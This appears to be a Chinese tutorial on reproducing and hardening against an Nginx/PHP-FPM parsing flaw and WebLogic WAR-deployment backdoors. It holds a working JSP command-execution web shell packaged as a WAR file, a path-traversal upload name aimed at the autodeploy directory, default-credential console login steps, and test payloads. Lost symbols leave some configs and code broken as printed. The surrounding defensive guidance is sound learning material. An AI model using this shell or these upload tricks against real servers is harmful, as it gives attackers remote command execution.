1. 项目概述从两个经典漏洞看中间件安全攻防在中间件安全这个庞大而复杂的领域里Nginx和WebLogic是两个绕不开的名字。一个作为现代Web架构的流量入口一个作为传统企业级应用的核心承载平台它们的安全性直接关系到整个业务系统的安危。今天我们不谈泛泛的理论就聚焦于两个极具代表性的实战漏洞Nginx的解析漏洞与WebLogic的WAR包部署漏洞。这两个漏洞一个关乎“请求如何被理解”一个关乎“应用如何被加载”看似独立实则都触及了中间件安全最核心的环节——配置与逻辑的边界。我遇到过不少运维和开发同学他们能熟练地配置Nginx的反向代理和负载均衡也能在WebLogic上部署复杂的应用但当被问及这些操作背后潜藏的安全风险时往往语焉不详。这篇文章我就以从业者的视角带大家亲手复现这两个漏洞的攻防过程拆解其原理更重要的是分享在真实生产环境中如何有效防御。这不仅仅是两个CVE编号而是理解中间件安全攻防思维的绝佳切入点。2. Nginx解析漏洞深度拆解与复现2.1 漏洞原理当Nginx“误解”了你的文件Nginx解析漏洞更准确地说是一种由Nginx与后端PHP-FPM或FastCGI等处理器对请求URI的解析差异导致的逻辑漏洞。它并非Nginx代码本身的缺陷而是配置不当或特定环境下如老旧版本、特定配置组合引发的安全问题。其核心在于“路径修复”与“参数传递”。想象这样一个场景用户请求一个URL如/test.jpg/xxx.php。Nginx接收到这个请求后会根据配置文件中的location规则进行匹配。一个常见的配置是对于.php结尾的请求Nginx会通过FastCGI协议转发给后端的PHP处理器如PHP-FPM。关键在于Nginx在转发时默认会将$fastcgi_script_name这个变量设置为请求的URI即/test.jpg/xxx.php。然而一些版本的PHP-FPM或某些配置下在接收到/test.jpg/xxx.php这个脚本路径时会进行一个“路径修复”逻辑它会从右向左寻找第一个有效的.php文件。于是/test.jpg/xxx.php被“修复”理解为在/test.jpg这个目录下的xxx.php文件。但/test.jpg本身是一个文件不是一个目录。在一些实现中PHP-FPM可能会错误地将/test.jpg这个文件当作PHP脚本来解析执行只要文件内容以?php等PHP标签开头。另一种常见触发场景与PATH_INFO有关。当Nginx配置了fastcgi_split_path_info指令且正则匹配设计不严谨时对于形如/test.jpg/xxx.php的请求Nginx可能会错误地将/test.jpg识别为要执行的脚本$fastcgi_script_name而将/xxx.php识别为路径信息$path_info并同样传递给PHP-FPM。PHP-FPM在处理脚本/test.jpg时如果该文件内容包含PHP代码就会被执行。注意这个漏洞的触发高度依赖于Nginx和PHP-FPM的具体版本、配置参数如cgi.fix_pathinfo的值为1以及服务器文件系统的权限设置。在新版本和标准安全配置下此漏洞通常已被默认规避但历史遗留系统或配置疏忽的系统依然存在风险。2.2 漏洞复现环境搭建要理解漏洞最好的方式就是亲手搭建环境复现。这里我们使用Docker快速构建一个包含漏洞条件的测试环境。准备漏洞环境镜像我们可以使用一个集成了旧版本Nginx和PHP的镜像或者自行编写Dockerfile。为了更贴近实战我选择手动配置一个经典环境。# Dockerfile FROM ubuntu:18.04 RUN apt-get update apt-get install -y nginx php7.2-fpm # 关键配置修改php-fpm的cgi.fix_pathinfo为1 RUN sed -i s/;cgi.fix_pathinfo1/cgi.fix_pathinfo1/ /etc/php/7.2/fpm/php.ini # 复制有问题的Nginx站点配置 COPY default.conf /etc/nginx/sites-available/default # 启动脚本 COPY start.sh /start.sh RUN chmod x /start.sh EXPOSE 80 CMD [/start.sh]start.sh内容#!/bin/bash php-fpm7.2 -D nginx -g daemon off;编写有漏洞的Nginx配置(default.conf)server { listen 80; server_name localhost; root /var/www/html; index index.html index.htm index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; # 关键问题配置未对$fastcgi_script_name进行严格校验且可能错误处理PATH_INFO # 在一些旧配置模板中可能会使用$document_root$fastcgi_script_name # 当请求为/test.jpg/xxx.php时$fastcgi_script_name可能被错误赋值 } location / { try_files $uri $uri/ 404; } }构建并运行容器docker build -t nginx-parsing-vuln . docker run -d -p 8080:80 -v $(pwd)/www:/var/www/html nginx-parsing-vuln在宿主机的./www目录下我们准备两个文件test.jpg内容为?php phpinfo(); ?这是一个包含PHP代码的图片文件实战中可能是上传漏洞导致。info.php内容为?php phpinfo(); ?正常的PHP文件。2.3 攻击模拟与漏洞验证环境就绪后我们开始模拟攻击。正常访问访问http://localhost:8080/info.php会正常显示PHP信息页面。访问http://localhost:8080/test.jpg浏览器会尝试下载或显示这张“图片”因为Nginx识别为静态文件直接返回内容不会交给PHP解析。漏洞利用尝试访问http://localhost:8080/test.jpg/xxx.php。攻击原理此时Nginx的location ~ \.php$规则匹配到了这个URI因为以.php结尾。根据我们模拟的漏洞配置Nginx可能会将整个/test.jpg/xxx.php或其中的一部分作为脚本名传递给PHP-FPM。预期结果如果漏洞存在PHP-FPM会尝试解析/test.jpg这个文件并执行其中的?php phpinfo(); ?代码。此时浏览器将不再显示图片内容或下载而是显示出完整的PHP信息配置页面与访问info.php的效果一致。这就证明了test.jpg被成功当作PHP脚本解析执行。利用工具辅助验证除了浏览器可以使用curl命令更清晰地观察curl -v http://localhost:8080/test.jpg/xxx.php观察返回的HTTP头部和正文。如果返回了HTML格式的PHP信息而非图片的二进制数据流或404错误则漏洞利用成功。实操心得在真实渗透测试中这个漏洞常与文件上传漏洞结合。攻击者先利用上传功能传一个包含WebShell代码的图片文件如shell.jpg然后通过构造http://target.com/upload/shell.jpg/notexist.php这样的URL触发解析漏洞从而获得代码执行权限。复现时重点在于理解Nginx配置中fastcgi相关参数如fastcgi_split_path_info,fastcgi_param SCRIPT_FILENAME的传递逻辑任何一个环节的疏忽都可能导致解析歧义。2.4 加固与防御方案知其然更要知其所以然。复现漏洞是为了更好地防御。针对Nginx解析漏洞加固措施必须从配置层面入手堵住逻辑歧义的入口。严格限定PHP文件的执行路径这是最根本的解决方案。修改Nginx配置确保传递给PHP-FPM的脚本路径是绝对且确定的不依赖于请求URI的变形。location ~ \.php$ { # 使用$document_root$fastcgi_script_name的经典配置但需确保$fastcgi_script_name正确 # 更安全的做法是如果所有PHP文件都在特定目录下直接写死或严格校验 # 例如假设PHP文件都在 /var/www/html 下 set $real_script_name $document_root$uri; if ($uri ~ ^/([^/]\.php)(/.*)?$) { set $real_script_name $document_root/$1; } fastcgi_param SCRIPT_FILENAME $real_script_name; include fastcgi_params; fastcgi_pass unix:/run/php/php-fpm.sock; }更简洁安全的配置是直接禁止对非纯PHP文件路径的PHP解析请求location ~ \.php$ { # 如果请求的URI路径中包含“.”且“.php”前面还有“.”则拒绝访问 if ($uri ~ \.\.php) { return 403; } # ... 其他fastcgi配置 }修改PHP-FPM配置将php.ini或php-fpm池配置中的cgi.fix_pathinfo选项设置为0。这是PHP官方推荐的安全设置。当设置为0时PHP只会解析SCRIPT_FILENAME指定的确切文件不会进行任何“路径修复”猜测从根本上杜绝了此类解析歧义。cgi.fix_pathinfo0使用location规则隔离用户上传目录将用户上传的文件如图片、文档存放到一个独立的目录如/uploads/并为此目录配置一个单独的location块在这个块内禁止任何PHP文件的解析执行。location ^~ /uploads/ { # 禁止此目录下所有PHP文件的访问和解析 location ~ \.php$ { deny all; return 403; } # 可以设置静态文件缓存等 }这样即使攻击者上传了包含恶意代码的文件到/uploads/目录也无法通过任何方式让Nginx和PHP去解析它。定期更新与安全审计保持Nginx、PHP-FPM等组件的版本更新关注安全公告。定期使用安全扫描工具或进行人工配置审计检查是否存在不安全的location规则或fastcgi_param设置。3. WebLogic WAR部署漏洞攻防实战3.1 漏洞背景WAR包与自动部署的“便利”之殇WebLogic作为老牌Java EE应用服务器其自动部署功能本是为了方便开发调试将WARWeb Application Archive包直接放入特定的部署目录如autodeploy或domains/domain/autodeploy服务器在运行时能自动检测、解压并加载该应用。然而正是这种“便利”在权限控制不当的情况下成为了攻击者植入后门的绝佳通道。WAR包部署漏洞的核心成因通常不是WebLogic代码本身的远程命令执行漏洞虽然历史上也有更多的是由于管理界面暴露、弱口令、或者通过其他漏洞获取了服务器文件上传权限后利用WebLogic的部署机制实现应用级后门的植入。攻击者一旦能上传一个精心构造的WAR包到部署目录就等于部署了一个完整的、可控的Web应用这个应用可以包含JSP木马、反连Shell的Servlet等危害极大。3.2 漏洞环境搭建与后门WAR包制作我们先来搭建一个用于测试的WebLogic环境。为了快速复现我们使用一个包含WebLogic 12c的Docker镜像并启用管理控制台。启动WebLogic测试容器# 拉取一个常见的WebLogic测试镜像 docker run -d -p 7001:7001 -p 9002:9002 -e ADMINISTRATION_PORT_ENABLEDtrue -e ADMIN_NAMEweblogic -e ADMIN_PASSWORDwelcome1 ismaleiva90/weblogic12这里映射了7001应用端口和9002管理端口部分镜像使用并设置了管理员用户名/密码。制作“后门”WAR包WAR包本质上是一个ZIP格式的压缩包其标准结构包含WEB-INF/web.xml和我们的木马文件。我们制作一个最简单的JSP木马WAR包。创建目录结构malicious_app/ ├── WEB-INF │ └── web.xml └── shell.jspweb.xml是部署描述符内容可以非常简单?xml version1.0 encodingUTF-8? web-app xmlnshttp://java.sun.com/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd version3.0 welcome-file-list welcome-fileshell.jsp/welcome-file /welcome-file-list /web-appshell.jsp是我们的JSP木马内容为一个极简的命令执行页面% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % form methodget input typetext namecmd size80 input typesubmit valueExecute /form打包成WAR文件cd malicious_app jar -cvf ../malicious.war *现在你得到了一个malicious.war文件访问其shell.jsp即可执行系统命令。3.3 攻击路径模拟从权限获取到后门部署攻击者要利用WAR部署漏洞前提是获得向WebLogic服务器特定路径写入文件的能力。主要有以下几种路径通过管理控制台上传弱口令/未授权访问如果WebLogic管理控制台通常端口为7001或9002暴露在公网且使用了弱口令如 weblogic/welcome1、admin/admin等攻击者可直接登录。在控制台的“部署”模块可以直接上传WAR包并部署。这是最直接的方式。模拟操作访问http://target:7001/console使用弱口令登录。导航到“部署”-“安装”上传malicious.war并按照向导完成部署。部署成功后应用会有一个上下文路径如/malicious访问http://target:7001/malicious/shell.jsp即可使用木马。利用文件上传漏洞写入自动部署目录如果目标服务器存在其他Web漏洞如任意文件上传且攻击者能推算出WebLogic域的绝对路径如/u01/oracle/user_projects/domains/base_domain/autodeploy/则可以将malicious.war直接上传到该目录。WebLogic在运行状态下会定期扫描此目录自动部署新的WAR包。模拟操作假设通过某个上传点我们知道了文件被保存在/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/upload/。我们可以尝试使用路径穿越等手段将文件写入到上级目录的autodeploy中。例如上传文件名构造为../../../autodeploy/malicious.war。上传成功后等待几十秒到几分钟WebLogic会自动完成部署。利用SSH等服务器权限直接放置如果通过其他手段如SSH弱口令、RCE漏洞获得了服务器操作系统的shell权限那么可以直接将WAR包复制到自动部署目录。# 假设已获得服务器shell scp malicious.war attackertarget:/tmp/ # 或者在目标服务器上 cp /tmp/malicious.war /u01/oracle/user_projects/domains/base_domain/autodeploy/注意事项自动部署目录autodeploy在生产环境中绝对不应该被使用。它仅用于开发环境。生产环境的部署必须通过管理控制台或WLSTWebLogic Scripting Tool等受控方式进行。很多历史漏洞的根源就在于开发环境的配置被错误地迁移到了生产环境。3.4 防御策略与安全加固指南防御WAR部署漏洞需要从访问控制、部署流程和服务器加固多个层面入手。严格管理控制台访问网络隔离确保WebLogic管理控制台的端口默认为7001管理服务器可能用其他端口如9002绝不暴露在公网。应通过VPN、跳板机或内部网络进行访问。强密码策略修改默认管理员密码weblogic使用高强度、复杂的密码并定期更换。启用WebLogic的账户锁定策略。限制管理源IP如果条件允许在防火墙或WebLogic本身配置只允许特定管理IP地址访问控制台。禁用自动部署功能在生产环境中彻底关闭自动部署Auto-Deployment。这需要在WebLogic域的配置文件中设置。找到域目录下的config/config.xml文件。查找domain节点下的production-mode-enabled元素确保其值为true。生产模式通常会禁用一些开发特性。更直接的是检查并确保没有配置autodeploy目录的监听。在管理控制台的“域结构”-“环境”-“服务器”-“配置”-“部署”中确认相关自动部署选项已禁用。最根本的方法是在启动参数或setDomainEnv.sh脚本中不设置或明确移除指向autodeploy目录的相关参数。规范化的部署流程建立严格的应用程序部署流程所有WAR包必须经过安全扫描如静态代码分析、依赖组件漏洞扫描和审批才能通过受控的、审计可追溯的渠道如管理控制台由授权人员操作、或通过CI/CD流水线集成WLST脚本进行部署。禁止开发人员直接向生产服务器放置WAR包。文件系统权限最小化运行WebLogic服务的操作系统用户如oracle、weblogic应仅拥有必要的权限。确保其无法在WebLogic的安装目录、域目录之外进行写操作。特别是检查并限制对autodeploy、stage等目录的写权限理想情况下部署过程应由更上层的自动化工具以特定权限完成而非运行时用户。部署应用自身的安全对要部署的WAR包进行安全审查。移除调试信息、禁用目录列表、配置安全的web.xml如安全约束、错误页面。对于JSP文件可以考虑预编译成Servlet减少动态解析的风险。定期安全审计与漏洞扫描使用专业的应用服务器安全扫描工具定期对WebLogic实例进行漏洞扫描检查是否存在默认配置、已知漏洞如CVE-2017-10271等XML反序列化漏洞以及不安全的部署项。同时监控服务器日志关注异常的部署活动或访问请求。4. 联动利用与高级攻击场景思考在真实的攻防对抗中攻击者很少只利用单一漏洞。Nginx解析漏洞和WebLogic WAR部署漏洞虽然属于不同中间件但在特定场景下可能形成攻击链。一个可能的攻击场景目标系统前端使用Nginx作为反向代理后端是WebLogic集群。攻击者首先发现目标存在一个文件上传功能例如用户头像上传并且上传目录由Nginx直接提供静态服务。经过测试攻击者发现该Nginx存在解析漏洞或者因配置不当上传目录的location块错误地配置了PHP解析。攻击者上传一个包含WebShell代码的JSP文件伪装成图片如shell.jpg但由于Nginx解析漏洞该文件能被当作JSP解析执行吗通常不行因为Nginx解析漏洞依赖于后端是PHP处理器。这里需要变通。更实际的链式利用可能是攻击者利用Nginx的某个配置缺陷或版本漏洞如CVE-2021-23017等结合其他手段尝试获取后端服务器的信息或初始立足点。或者攻击者通过其他途径如WebLogic管理控制台弱口令直接攻击WebLogic。如果管理控制台恰好通过Nginx反向代理暴露而Nginx配置了过于宽松的代理规则未能对/console等管理路径做访问限制则降低了攻击者发现和攻击管理口的难度。防御的叠加性因此防御必须是多层次、纵深式的。边界层面Nginx作为入口应严格过滤请求对反向代理到后端应用服务器的路径进行精确匹配和访问控制隐藏管理后台路径。应用服务器层面WebLogic遵循最小权限原则关闭非必要服务强化认证。部署层面建立从代码到部署的全流程安全管控。监控层面对异常的访问模式如大量针对不存在的.php文件的请求、对/console的暴力破解尝试、以及服务器上突然出现的新WAR包或应用建立有效的告警机制。5. 常见问题排查与实战技巧实录在实际运维和渗透测试中会遇到各种具体问题。这里记录一些典型的场景和解决思路。5.1 Nginx解析漏洞相关排查问题1我按照漏洞复现步骤操作了但访问test.jpg/xxx.php返回的是404或直接下载了图片没有解析PHP是漏洞不存在吗这很可能意味着你的环境不具备漏洞触发条件。请按以下步骤排查检查PHP配置确认php.ini中cgi.fix_pathinfo的值是否为1。在PHP-FPM的池配置www.conf中也检查一下。新版本PHP默认可能为0。检查Nginx配置确认处理PHP的location块是否正确匹配了请求。使用curl -v查看请求是否真的进入了PHP处理块。检查SCRIPT_FILENAME参数最终传递的值是什么。可以在Nginx配置中添加日志来调试location ~ \.php$ { ... fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 添加调试日志 access_log /var/log/nginx/php_debug.log main; # 注意生产环境不要这样记录敏感信息 set $log_msg URI: $uri, SCRIPT_FILENAME: $document_root$fastcgi_script_name; access_log /var/log/nginx/php_debug.log main if$log_msg; }检查文件权限确保test.jpg文件对Nginx/PHP-FPM进程的运行用户是可读的。版本因素漏洞在较新的Nginx1.xx和PHP5.3.9 且cgi.fix_pathinfo0默认配置下已很难触发。你复现的环境可能过于“干净”。问题2生产环境如何快速检测是否存在此类解析漏洞不建议在生产环境直接进行攻击测试。可以通过安全扫描工具如Nessus, OpenVAS, AWVS等的Web应用扫描模块进行检测。也可以使用专门的PoC脚本在获取授权的前提下发送特定的探测请求并根据返回的HTTP状态码、响应头、响应内容来判断。一个简单的自查方法是代码审计Nginx配置文件重点检查处理动态脚本如PHP的location块看是否存在对$fastcgi_script_name或$path_info的不安全处理以及是否对上传目录做了严格的执行限制。5.2 WebLogic部署与加固问题问题1上传WAR包到autodeploy目录后WebLogic没有自动部署为什么可能的原因有生产模式WebLogic域运行在生产模式Production Mode下自动部署功能默认是禁用的。目录不正确确认WAR包是否放到了正确的autodeploy目录下。对于受管服务器可能需要放在管理服务器的autodeploy目录或者受管服务器自身的autodeploy目录如果配置了。权限问题WebLogic进程用户对WAR包或autodeploy目录没有读权限。扫描间隔自动部署扫描是有间隔的默认约3-5秒需要等待一会儿。可以查看服务器日志domain/servers/AdminServer/logs/AdminServer.log是否有部署相关的信息。WAR包损坏或格式不正确确保WAR包是有效的ZIP格式且包含正确的WEB-INF/web.xml文件。问题2如何安全地启用管理控制台的双因素认证2FAWebLogic原生不直接支持常见的2FA如Google Authenticator但可以通过与LDAP目录服务如Oracle Internet Directory, OpenLDAP集成或者使用第三方身份提供者如Oracle Identity Cloud Service来实现强认证。更常见的生产环境做法是不直接暴露控制台而是通过一个前置的、支持2FA的网关或身份代理如Keycloak, Okta或使用Apache/Nginx集成ModAuth等模块来保护对/console路径的访问。这样可以在不修改WebLogic的情况下增加一道强大的认证屏障。问题3使用WLSTWebLogic Scripting Tool进行自动化部署有什么安全最佳实践WLST是安全部署的关键工具。最佳实践包括凭证管理不要在脚本中硬编码用户名密码。使用WebLogic的凭证存储Wallet或外部密钥管理服务来安全地获取凭证。最小权限为WLST脚本执行创建一个专用的、权限最小的WebLogic用户仅授予其部署应用所需的权限而非管理员权限。脚本审计对WLST部署脚本进行版本控制和代码审计确保其行为符合预期不会执行危险操作。传输加密确保WLST通过t3s或https协议与管理服务器通信避免凭证和部署内容在传输中被窃听。部署前校验在脚本中加入对WAR包的完整性校验如哈希值比对环节。5.3 通用中间件安全自查清单无论使用Nginx、WebLogic还是其他中间件以下自查清单都值得定期回顾检查类别具体检查项安全建议网络与访问管理端口是否暴露公网严格限制访问源IP使用VPN或跳板机。是否使用默认端口考虑修改为非标准端口增加攻击者扫描难度。认证与授权是否使用默认/弱口令强制使用高强度密码定期更换。是否启用账户锁定机制配置连续失败登录锁定策略。权限分配是否遵循最小原则为不同管理员分配仅够其工作的权限。配置安全是否启用了不必要的服务/功能关闭自动部署、示例应用、调试模式等。静态文件与动态脚本处理是否隔离使用独立的location块禁止脚本目录执行静态文件禁止上传目录解析脚本。错误信息是否过于详细配置自定义错误页避免泄露版本、路径等敏感信息。日志与监控日志是否开启并记录安全事件确保访问日志、错误日志、安全审计日志齐全。是否有日志分析或告警机制对异常登录、异常部署、高频错误请求设置告警。补丁与更新中间件版本是否过旧定期关注官方安全公告及时更新至稳定版本。依赖的运行时如JRE、PHP是否更新同步更新修复已知漏洞。安全是一个持续的过程而非一劳永逸的状态。对于Nginx、WebLogic这类核心中间件理解其常见漏洞的攻防原理建立并执行严格的安全配置基线结合持续的监控和审计才能构筑起有效的防御体系。每一次漏洞复现都是为了在真正的攻击到来之前将自己的防线筑得更牢。